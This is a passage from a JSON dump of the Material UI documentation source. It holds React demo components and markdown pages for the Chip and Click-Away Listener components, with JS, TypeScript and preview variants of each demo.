avatarToCode = 'avatar={<Avatar src=\"/static/images/avatar/1.jpg\" />} ';\n      avatarToPlayground = <Avatar src=\"/static/images/avatar/1.jpg\" />;\n      break;\n    case 'letter':\n      avatarToCode = 'avatar={<Avatar>F</Avatar>} ';\n      avatarToPlayground = <Avatar>F</Avatar>;\n      break;\n    default:\n      break;\n  }\n\n  if (avatar !== 'none') {\n    iconToCode = '';\n    iconToPlayground = null;\n  }\n\n  const jsx = `\n<Chip ${variantToCode}${colorToCode}${sizeToCode}${onDeleteToCode}${avatarToCode}${iconToCode}/>\n`;\n\n  return (\n    <Grid container sx={{ flexGrow: 1 }}>\n      <Grid size={12}>\n        <Grid container sx={{ justifyContent: 'center', alignItems: 'center' }}>\n          <Grid sx={(theme) => ({ height: theme.spacing(10) })}>\n            <Chip\n              label=\"Chip Component\"\n              color={color}\n              deleteIcon={onDelete === 'custom' ? <DoneIcon /> : undefined}\n              onDelete={onDelete !== 'none' ? handleDeleteExample : undefined}\n              avatar={avatarToPlayground}\n              icon={iconToPlayground}\n              variant={variant}\n              size={size}\n            />\n          </Grid>\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <Grid container spacing={3}>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>variant</FormLabel>\n              <RadioGroup\n                row\n                name=\"variant\"\n                aria-label=\"variant\"\n                value={variant}\n                onChange={handleChange}\n              >\n                <FormControlLabel\n                  value=\"filled\"\n                  control={<Radio />}\n                  label=\"filled\"\n                />\n                <FormControlLabel\n                  value=\"outlined\"\n                  control={<Radio />}\n                  label=\"outlined\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>color</FormLabel>\n              <RadioGroup\n                row\n                name=\"color\"\n                aria-label=\"color\"\n                value={color}\n                onChange={handleChange}\n              >\n                <FormControlLabel\n                  value=\"default\"\n                  control={<Radio />}\n                  label=\"default\"\n                />\n                <FormControlLabel\n                  value=\"primary\"\n                  control={<Radio />}\n                  label=\"primary\"\n                />\n                <FormControlLabel\n                  value=\"secondary\"\n                  control={<Radio />}\n                  label=\"secondary\"\n                />\n                <FormControlLabel value=\"error\" control={<Radio />} label=\"error\" />\n                <FormControlLabel value=\"info\" control={<Radio />} label=\"info\" />\n                <FormControlLabel\n                  value=\"success\"\n                  control={<Radio />}\n                  label=\"success\"\n                />\n                <FormControlLabel\n                  value=\"warning\"\n                  control={<Radio />}\n                  label=\"warning\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>size</FormLabel>\n              <RadioGroup\n                row\n                name=\"size\"\n                aria-label=\"size\"\n                value={size}\n                onChange={handleChange}\n              >\n                <FormControlLabel\n                  value=\"medium\"\n                  control={<Radio />}\n                  label=\"medium\"\n                />\n                <FormControlLabel value=\"small\" control={<Radio />} label=\"small\" />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>icon</FormLabel>\n              <RadioGroup\n                row\n                name=\"icon\"\n                aria-label=\"icon\"\n                value={icon}\n                onChange={handleChange}\n              >\n                <FormControlLabel value=\"none\" control={<Radio />} label=\"none\" />\n                <FormControlLabel value=\"icon\" control={<Radio />} label=\"icon\" />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>avatar</FormLabel>\n              <RadioGroup\n                row\n                name=\"avatar\"\n                aria-label=\"avatar\"\n                value={avatar}\n                onChange={handleChange}\n              >\n                <FormControlLabel value=\"none\" control={<Radio />} label=\"none\" />\n                <FormControlLabel\n                  value=\"letter\"\n                  control={<Radio />}\n                  label=\"letter\"\n                />\n                <FormControlLabel value=\"img\" control={<Radio />} label=\"img\" />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n          <Grid\n            size={{\n              xs: 12,\n              md: 6,\n            }}\n          >\n            <FormControl component=\"fieldset\">\n              <FormLabel>onDelete</FormLabel>\n              <RadioGroup\n                row\n                name=\"onDelete\"\n                aria-label=\"on delete\"\n                value={onDelete}\n                onChange={handleChange}\n              >\n                <FormControlLabel value=\"none\" control={<Radio />} label=\"none\" />\n                <FormControlLabel\n                  value=\"default\"\n                  control={<Radio />}\n                  label=\"default\"\n                />\n                <FormControlLabel\n                  value=\"custom\"\n                  control={<Radio />}\n                  label=\"custom\"\n                />\n              </RadioGroup>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <HighlightedCode code={jsx} language=\"jsx\" />\n      </Grid>\n    </Grid>\n  );\n}\nexport default ChipsPlayground;\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableAndDeletableChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableAndDeletableChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip\n        label=\"Clickable Deletable\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n      />\n      <Chip\n        label=\"Clickable Deletable\"\n        variant=\"outlined\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableAndDeletableChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableAndDeletableChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip\n        label=\"Clickable Deletable\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n      />\n      <Chip\n        label=\"Clickable Deletable\"\n        variant=\"outlined\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableAndDeletableChips.tsx.preview",
    "content": "<Chip\n  label=\"Clickable Deletable\"\n  onClick={handleClick}\n  onDelete={handleDelete}\n/>\n<Chip\n  label=\"Clickable Deletable\"\n  variant=\"outlined\"\n  onClick={handleClick}\n  onDelete={handleDelete}\n/>"
  },
  {
    "path": "docs/data/material/components/chips/ClickableChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Clickable\" onClick={handleClick} />\n      <Chip label=\"Clickable\" variant=\"outlined\" onClick={handleClick} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Clickable\" onClick={handleClick} />\n      <Chip label=\"Clickable\" variant=\"outlined\" onClick={handleClick} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableChips.tsx.preview",
    "content": "<Chip label=\"Clickable\" onClick={handleClick} />\n<Chip label=\"Clickable\" variant=\"outlined\" onClick={handleClick} />"
  },
  {
    "path": "docs/data/material/components/chips/ClickableLinkChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableLinkChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Clickable Link\" component=\"a\" href=\"#basic-chip\" clickable />\n      <Chip\n        label=\"Clickable Link\"\n        component=\"a\"\n        href=\"#basic-chip\"\n        variant=\"outlined\"\n        clickable\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableLinkChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ClickableLinkChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Clickable Link\" component=\"a\" href=\"#basic-chip\" clickable />\n      <Chip\n        label=\"Clickable Link\"\n        component=\"a\"\n        href=\"#basic-chip\"\n        variant=\"outlined\"\n        clickable\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ClickableLinkChips.tsx.preview",
    "content": "<Chip label=\"Clickable Link\" component=\"a\" href=\"#basic-chip\" clickable />\n<Chip\n  label=\"Clickable Link\"\n  component=\"a\"\n  href=\"#basic-chip\"\n  variant=\"outlined\"\n  clickable\n/>"
  },
  {
    "path": "docs/data/material/components/chips/ColorChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ColorChips() {\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center' }}>\n      <Stack direction=\"row\" spacing={1}>\n        <Chip label=\"primary\" color=\"primary\" />\n        <Chip label=\"success\" color=\"success\" />\n      </Stack>\n      <Stack direction=\"row\" spacing={1}>\n        <Chip label=\"primary\" color=\"primary\" variant=\"outlined\" />\n        <Chip label=\"success\" color=\"success\" variant=\"outlined\" />\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ColorChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function ColorChips() {\n  return (\n    <Stack spacing={1} sx={{ alignItems: 'center' }}>\n      <Stack direction=\"row\" spacing={1}>\n        <Chip label=\"primary\" color=\"primary\" />\n        <Chip label=\"success\" color=\"success\" />\n      </Stack>\n      <Stack direction=\"row\" spacing={1}>\n        <Chip label=\"primary\" color=\"primary\" variant=\"outlined\" />\n        <Chip label=\"success\" color=\"success\" variant=\"outlined\" />\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/ColorChips.tsx.preview",
    "content": "<Stack direction=\"row\" spacing={1}>\n  <Chip label=\"primary\" color=\"primary\" />\n  <Chip label=\"success\" color=\"success\" />\n</Stack>\n<Stack direction=\"row\" spacing={1}>\n  <Chip label=\"primary\" color=\"primary\" variant=\"outlined\" />\n  <Chip label=\"success\" color=\"success\" variant=\"outlined\" />\n</Stack>"
  },
  {
    "path": "docs/data/material/components/chips/CustomDeleteIconChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport DoneIcon from '@mui/icons-material/Done';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nexport default function CustomDeleteIconChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip\n        label=\"Custom delete icon\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n        deleteIcon={<DoneIcon />}\n      />\n      <Chip\n        label=\"Custom delete icon\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n        deleteIcon={<DeleteIcon />}\n        variant=\"outlined\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/CustomDeleteIconChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport DoneIcon from '@mui/icons-material/Done';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nexport default function CustomDeleteIconChips() {\n  const handleClick = () => {\n    console.info('You clicked the Chip.');\n  };\n\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip\n        label=\"Custom delete icon\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n        deleteIcon={<DoneIcon />}\n      />\n      <Chip\n        label=\"Custom delete icon\"\n        onClick={handleClick}\n        onDelete={handleDelete}\n        deleteIcon={<DeleteIcon />}\n        variant=\"outlined\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/CustomDeleteIconChips.tsx.preview",
    "content": "<Chip\n  label=\"Custom delete icon\"\n  onClick={handleClick}\n  onDelete={handleDelete}\n  deleteIcon={<DoneIcon />}\n/>\n<Chip\n  label=\"Custom delete icon\"\n  onClick={handleClick}\n  onDelete={handleDelete}\n  deleteIcon={<DeleteIcon />}\n  variant=\"outlined\"\n/>"
  },
  {
    "path": "docs/data/material/components/chips/DeletableChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function DeletableChips() {\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Deletable\" onDelete={handleDelete} />\n      <Chip label=\"Deletable\" variant=\"outlined\" onDelete={handleDelete} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/DeletableChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function DeletableChips() {\n  const handleDelete = () => {\n    console.info('You clicked the delete icon.');\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Deletable\" onDelete={handleDelete} />\n      <Chip label=\"Deletable\" variant=\"outlined\" onDelete={handleDelete} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/DeletableChips.tsx.preview",
    "content": "<Chip label=\"Deletable\" onDelete={handleDelete} />\n<Chip label=\"Deletable\" variant=\"outlined\" onDelete={handleDelete} />"
  },
  {
    "path": "docs/data/material/components/chips/IconChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport FaceIcon from '@mui/icons-material/Face';\n\nexport default function IconChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip icon={<FaceIcon />} label=\"With Icon\" />\n      <Chip icon={<FaceIcon />} label=\"With Icon\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/IconChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport FaceIcon from '@mui/icons-material/Face';\n\nexport default function IconChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip icon={<FaceIcon />} label=\"With Icon\" />\n      <Chip icon={<FaceIcon />} label=\"With Icon\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/IconChips.tsx.preview",
    "content": "<Chip icon={<FaceIcon />} label=\"With Icon\" />\n<Chip icon={<FaceIcon />} label=\"With Icon\" variant=\"outlined\" />"
  },
  {
    "path": "docs/data/material/components/chips/MultilineChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Box from '@mui/material/Box';\n\nexport default function MultilineChips() {\n  return (\n    <Box sx={{ width: 100 }}>\n      <Chip\n        sx={{\n          height: 'auto',\n          '& .MuiChip-label': {\n            display: 'block',\n            whiteSpace: 'normal',\n          },\n        }}\n        label=\"This is a chip that has multiple lines.\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/MultilineChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Box from '@mui/material/Box';\n\nexport default function MultilineChips() {\n  return (\n    <Box sx={{ width: 100 }}>\n      <Chip\n        sx={{\n          height: 'auto',\n          '& .MuiChip-label': {\n            display: 'block',\n            whiteSpace: 'normal',\n          },\n        }}\n        label=\"This is a chip that has multiple lines.\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/MultilineChips.tsx.preview",
    "content": "<Chip\n  sx={{\n    height: 'auto',\n    '& .MuiChip-label': {\n      display: 'block',\n      whiteSpace: 'normal',\n    },\n  }}\n  label=\"This is a chip that has multiple lines.\"\n/>"
  },
  {
    "path": "docs/data/material/components/chips/SizesChips.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function SizesChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Small\" size=\"small\" />\n      <Chip label=\"Small\" size=\"small\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/SizesChips.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\n\nexport default function SizesChips() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <Chip label=\"Small\" size=\"small\" />\n      <Chip label=\"Small\" size=\"small\" variant=\"outlined\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/chips/SizesChips.tsx.preview",
    "content": "<Chip label=\"Small\" size=\"small\" />\n<Chip label=\"Small\" size=\"small\" variant=\"outlined\" />"
  },
  {
    "path": "docs/data/material/components/chips/chips.md",
    "content": "---\nproductId: material-ui\ntitle: React Chip component\ncomponents: Chip\ngithubLabel: 'scope: chip'\nmaterialDesign: https://m2.material.io/components/chips\ngithubSource: packages/mui-material/src/Chip\n---\n\n# Chip\n\n<p class=\"description\">Chips are compact elements that represent an input, attribute, or action.</p>\n\nChips allow users to enter information, make selections, filter content, or trigger actions.\n\nWhile included here as a standalone component, the most common use will\nbe in some form of input, so some of the behavior demonstrated here is\nnot shown in context.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic chip\n\nThe `Chip` component supports outlined and filled styling.\n\n{{\"demo\": \"BasicChips.js\"}}\n\n## Chip actions\n\nYou can use the following actions.\n\n- Chips with the `onClick` prop defined change appearance on focus, hover, and click.\n- Chips with the `onDelete` prop defined will display a delete icon which changes appearance on hover.\n\n### Clickable\n\n{{\"demo\": \"ClickableChips.js\"}}\n\n### Deletable\n\n{{\"demo\": \"DeletableChips.js\"}}\n\n### Clickable and deletable\n\n{{\"demo\": \"ClickableAndDeletableChips.js\"}}\n\n### Clickable link\n\n{{\"demo\": \"ClickableLinkChips.js\"}}\n\n### Custom delete icon\n\n{{\"demo\": \"CustomDeleteIconChips.js\"}}\n\n## Chip adornments\n\nYou can add ornaments to the beginning of the component.\n\nUse the `avatar` prop to add an avatar or use the `icon` prop to add an icon.\n\n### Avatar chip\n\n{{\"demo\": \"AvatarChips.js\"}}\n\n### Icon chip\n\n{{\"demo\": \"IconChips.js\"}}\n\n## Color chip\n\nYou can use the `color` prop to define a color from theme palette.\n\n{{\"demo\": \"ColorChips.js\"}}\n\n## Sizes chip\n\nYou can use the `size` prop to define a small Chip.\n\n{{\"demo\": \"SizesChips.js\"}}\n\n## Multiline chip\n\nBy default, Chips displays labels only in a single line.\nTo have them support multiline content, use the `sx` prop to add `height:auto` to the Chip component, and `whiteSpace: normal` to the `label` styles.\n\n{{\"demo\": \"MultilineChips.js\"}}\n\n## Chip array\n\nAn example of rendering multiple chips from an array of values.\nDeleting a chip removes it from the array. Note that since no\n`onClick` prop is defined, the `Chip` can be focused, but does not\ngain depth while clicked or touched.\n\n{{\"demo\": \"ChipsArray.js\"}}\n\n## Chip playground\n\n{{\"demo\": \"ChipsPlayground.js\", \"hideToolbar\": true}}\n\n## Accessibility\n\nIf the Chip is deletable or clickable then it is a button in tab order. When the Chip is focused (for example when tabbing) releasing (`keyup` event) `Backspace` or `Delete` will call the `onDelete` handler while releasing `Escape` will blur the Chip.\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/ClickAway.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n\nexport default function ClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles = {\n    position: 'absolute',\n    top: 28,\n    right: 0,\n    left: 0,\n    zIndex: 1,\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener onClickAway={handleClickAway}>\n      <Box sx={{ position: 'relative' }}>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Box sx={styles}>\n            Click me, I will stay visible until you click outside.\n          </Box>\n        ) : null}\n      </Box>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/ClickAway.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport { SxProps } from '@mui/system';\n\nexport default function ClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles: SxProps = {\n    position: 'absolute',\n    top: 28,\n    right: 0,\n    left: 0,\n    zIndex: 1,\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener onClickAway={handleClickAway}>\n      <Box sx={{ position: 'relative' }}>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Box sx={styles}>\n            Click me, I will stay visible until you click outside.\n          </Box>\n        ) : null}\n      </Box>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/ClickAway.tsx.preview",
    "content": "<ClickAwayListener onClickAway={handleClickAway}>\n  <Box sx={{ position: 'relative' }}>\n    <button type=\"button\" onClick={handleClick}>\n      Open menu dropdown\n    </button>\n    {open ? (\n      <Box sx={styles}>\n        Click me, I will stay visible until you click outside.\n      </Box>\n    ) : null}\n  </Box>\n</ClickAwayListener>"
  },
  {
    "path": "docs/data/material/components/click-away-listener/LeadingClickAway.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n\nexport default function LeadingClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles = {\n    position: 'absolute',\n    top: 28,\n    right: 0,\n    left: 0,\n    zIndex: 1,\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener\n      mouseEvent=\"onMouseDown\"\n      touchEvent=\"onTouchStart\"\n      onClickAway={handleClickAway}\n    >\n      <Box sx={{ position: 'relative' }}>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Box sx={styles}>\n            Click me, I will stay visible until you click outside.\n          </Box>\n        ) : null}\n      </Box>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/LeadingClickAway.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport { SxProps } from '@mui/system';\n\nexport default function LeadingClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles: SxProps = {\n    position: 'absolute',\n    top: 28,\n    right: 0,\n    left: 0,\n    zIndex: 1,\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener\n      mouseEvent=\"onMouseDown\"\n      touchEvent=\"onTouchStart\"\n      onClickAway={handleClickAway}\n    >\n      <Box sx={{ position: 'relative' }}>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Box sx={styles}>\n            Click me, I will stay visible until you click outside.\n          </Box>\n        ) : null}\n      </Box>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/LeadingClickAway.tsx.preview",
    "content": "<ClickAwayListener\n  mouseEvent=\"onMouseDown\"\n  touchEvent=\"onTouchStart\"\n  onClickAway={handleClickAway}\n>\n  <Box sx={{ position: 'relative' }}>\n    <button type=\"button\" onClick={handleClick}>\n      Open menu dropdown\n    </button>\n    {open ? (\n      <Box sx={styles}>\n        Click me, I will stay visible until you click outside.\n      </Box>\n    ) : null}\n  </Box>\n</ClickAwayListener>"
  },
  {
    "path": "docs/data/material/components/click-away-listener/PortalClickAway.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Portal from '@mui/material/Portal';\n\nexport default function PortalClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles = {\n    position: 'fixed',\n    width: 200,\n    top: '50%',\n    left: '50%',\n    transform: 'translate(-50%, -50%)',\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener onClickAway={handleClickAway}>\n      <div>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Portal>\n            <Box sx={styles}>\n              Click me, I will stay visible until you click outside.\n            </Box>\n          </Portal>\n        ) : null}\n      </div>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/PortalClickAway.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Portal from '@mui/material/Portal';\nimport { SxProps } from '@mui/system';\n\nexport default function PortalClickAway() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClick = () => {\n    setOpen((prev) => !prev);\n  };\n\n  const handleClickAway = () => {\n    setOpen(false);\n  };\n\n  const styles: SxProps = {\n    position: 'fixed',\n    width: 200,\n    top: '50%',\n    left: '50%',\n    transform: 'translate(-50%, -50%)',\n    border: '1px solid',\n    p: 1,\n    bgcolor: 'background.paper',\n  };\n\n  return (\n    <ClickAwayListener onClickAway={handleClickAway}>\n      <div>\n        <button type=\"button\" onClick={handleClick}>\n          Open menu dropdown\n        </button>\n        {open ? (\n          <Portal>\n            <Box sx={styles}>\n              Click me, I will stay visible until you click outside.\n            </Box>\n          </Portal>\n        ) : null}\n      </div>\n    </ClickAwayListener>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/click-away-listener/PortalClickAway.tsx.preview",
    "content": "<ClickAwayListener onClickAway={handleClickAway}>\n  <div>\n    <button type=\"button\" onClick={handleClick}>\n      Open menu dropdown\n    </button>\n    {open ? (\n      <Portal>\n        <Box sx={styles}>\n          Click me, I will stay visible until you click outside.\n        </Box>\n      </Portal>\n    ) : null}\n  </div>\n</ClickAwayListener>"
  },
  {
    "path": "docs/data/material/components/click-away-listener/click-away-listener.md",
    "content": "---\nproductId: material-ui\ntitle: Detect click outside React component\ncomponents: ClickAwayListener\ngithubLabel: 'scope: click away listener'\n---\n\n# Click-Away Listener\n\n<p class=\"description\">The Click-Away Listener component detects when a click event happens outside of its child element.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nClick-Away Listener is a utility component that listens for click events outside of its child.\n(Note that it only accepts _one_ child element.)\nThis is useful for components like the [Popper](/material-ui/react-popper/) which should close when the user clicks anywhere else in the document.\nClick-Away Listener also supports the [Portal](/material-ui/react-portal/) component.\n\nThe demo below shows how to hide a menu dropdown when users click anywhere else on the page:\n\n{{\"demo\": \"ClickAway.js\"}}\n\n## Basics\n\n### Import\n\n```jsx\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\n```\n\n## Customization\n\n### Use with Portal\n\nThe following demo uses the [Portal](/material-ui/react-portal/) component to render the dropdown into a new subtree outside of the current DOM hierarchy:\n\n{{\"demo\": \"PortalClickAway.js\"}}\n\n### Listening for leading events\n\nBy default, the Click-Away Listener component responds to **trailing events**—the _end_ of a click or touch.\n\nYou can set the component to listen for **leading events** (the start of a click or touch) using the `mouseEvent` and `touchEvent` props, as shown in the following demo:\n\n:::warning\nWhen the component is set to listen for leading events, interactions with the scrollbar are ignored.\n:::\n\n{{\"demo\": \"LeadingClickAway.js\"}}\n\n## Accessibility\n\nBy default, Click-Away Listener adds an `onClick` handler to its child.\nThis can result in screen readers announcing that the child is clickable, even though this `onClick` handler has no effect on the child itself.\n\nTo prevent this behavior, add `role=\"presentation\"` to the child element:\n\n```tsx\n<ClickAwayListener>\n  <div role=\"presentation\">\n    <h1>non-interactive heading</h1>\n  </div>\n</ClickAwayListener>\n```\n\nThis is also required to fix a known issue in NVDA when using Firefox that prevents the announcement of alert messages—see [this GitHub issue](https://github.com/mui/material-ui/issues/29080) for details.\n"
  },
  {
    "path": "docs/data/material/components/container/FixedContainer.js",
    "content": "import * as React from 'react';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\n\nexport default function FixedContainer() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Container fixed>\n        <Box sx={{ bgcolor: '#cfe8fc', height: '100vh' }} />\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/container/FixedContainer.tsx",
